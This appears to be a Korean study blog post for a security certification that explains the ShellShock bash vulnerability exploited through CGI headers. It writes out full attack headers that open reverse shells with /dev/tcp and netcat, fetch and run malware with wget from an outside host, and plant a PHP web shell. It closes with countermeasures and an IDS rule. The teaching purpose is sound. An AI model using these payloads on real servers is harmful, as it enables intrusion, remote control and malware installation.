본문 바로가기
정보보안기사&CISSP관련/침해사고 분석 및 대응

[Day 121] GNU Bash 취약점(ShellShock) 

by minimalist_2022 2020. 12. 9.

개요

  • 취약한 버전의 bash는 환경변수의 함수 선언문 뒤에 임의의 명령어를 삽입할 경우, 환경변수에 설정된 함수 선언 시 함수 선언의 끝을 인지하지 못하고 삽입한 명령어까지 실행하는 취약점이 있음. 이것을 GNU Bash 또는 ShellShock 취약점이라고 함

 

CGI를 이용한 Bash 취약점 공격유형

 

출처 : www.krcert.or.kr

공격원리

  • CGI는 User-Agent 같은 요청 헤더정보를 쉘의 환경변수에 저장함. 공격자가 헤더정보에 함수와 명령어를 추가하여 전송하면 해당 명령어가 실행되는 취약점 발생

리버스 쉘 연결 유형

<"/dev/tcp" 특수파일을 이용한 리버스쉘 연결>

GET /cgi-bin/bash_vul.cgi HTTP1.1
User-Agent:(){ :; };/bin/bash > /dev/tcp/10.10.10,10 8081 0<&1

1) /dev/tcp/목적지IP/목적지 Port 형식은 TCP 클라이언트 소켓을 생성하는 파일. 따라서 공격자 10.10.10.10의 리스닝 포트 8081포트로 접속하는 TCP 클라이언트 소켓이 생성됨

2) /bin/bash를 통해 bash 실행하면서 TCP 클라이언트 소켓으로 출력 리다이렉션(>) 하고 있음. 즉 bash를 통해 화면으로 출력되는 내용들이 TCP 클라이언트 소켓으로 출력되어 공격자에게 전달됨

3) 표준입력(0)을 입력 리다이렉션(<)을 통해 표준출력(&1)으로 재지정함. 즉 키보드를 통해 bash로 입력되는 내용들은 TCP 클라이언트 소켓을 통해 공격자가 입력한 내용이 전달된다.

 

<"nc(netcat)" 프로그램을 이용한 리버스쉘 연결>
GET /cgi-bin/bash_vul.cgi HTTP1.1
User-Agent:(){ :; };/usr/bin/nc 10.10.10,10 8081 -e /bin/sh
1) 공격자(10.10.10.10)는 nc 프로그램을 이용하여 포트 8081을 열어놓고 희생자 서버에서 공격자 PC로 리버스쉘이 연결되도록 대기
2) 연결 설정이 완료되면 공격자는 희생자 서버의 shell을 획득하고 원하는 시스템 명령을 실행할 수 있음

 

악성코드 다운로드 유형

Accept-Encoding: (){ :; }; /bin/bash -c "/usr/bin/wget -O /tmp/xyz http://10.10.10.10/malware; /bin/chmod 777 /tmp/xyz; /tmp/xyz; /bin/rm -f /tmp/xyz"

악성코드 유포지로부터 malware 다운로드받아 실행 시킨 후 실행 파일을 삭제함

/bin/bash -c "문자열" : 문자열의 내용을 명령어로 해석하여 bash로 실행시키는 구문

 

WebShell 생성 유형

GET /cgi-bin/bash_vul.cgi HTTP1.1
User-Agent:(){ :; };echo "<? \$cmd=\$_REQUEST[\"cmd\"]; if(\cmd != \"\"){print shell_exec(\$cmd);} ?>" > ..html/x.php
1) 공격자는 User-Agent 헤더 필드에 함수문( () { :; } )과 명령문( echo "<?\$cmd=\$_REQUEST[\"cmd\"]; if(\cmd != \"\"){print shell_exec(\$cmd);} ?>" > ..html/x.php )을 삽입하여 해당 명령문이 실행되도록 하고 있다.

2) echo 명령의 문자열은 php 구문( "<?"로 시작해서 "?>"로 끝남)으로, 출력 리다이렉션(>)을 통해 x.php라는 파일로 저장하고 있음

3) x.php 파일은 php구문으로 만들어진 웹쉘파일.
외부에서 공격자가 cmd 파라미터에 명령어를 담아서 x.php를 요청할 경우, cmd 파라미터에 값이 있으면(빈값이 아니면) shell_exec() 함수를 이용하여 명령어를 실행하고 그 결과를 출력(print)하도록 하고 있음

 

대응방안

1) 취약한 버전의 bash일 경우 업데이트

2) CGI 서비스를 사용하지 않으면 중지시키거나, CGI 삭제

3) 네트워크 보안 장비(IDS/IPS/웹방화벽)에서 공격 시그너처(탐지룰)을 등록하여 차단
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS ("msg: "shell shock"; content:"() {"; http_header; sid:1000310;)

 

※ 참고

보안공지 | 자료실 - KISA 인터넷 보호나라&KrCERT

 

KISA 인터넷 보호나라&KrCERT

KISA 인터넷 보호나라&KrCERT

www.boho.or.kr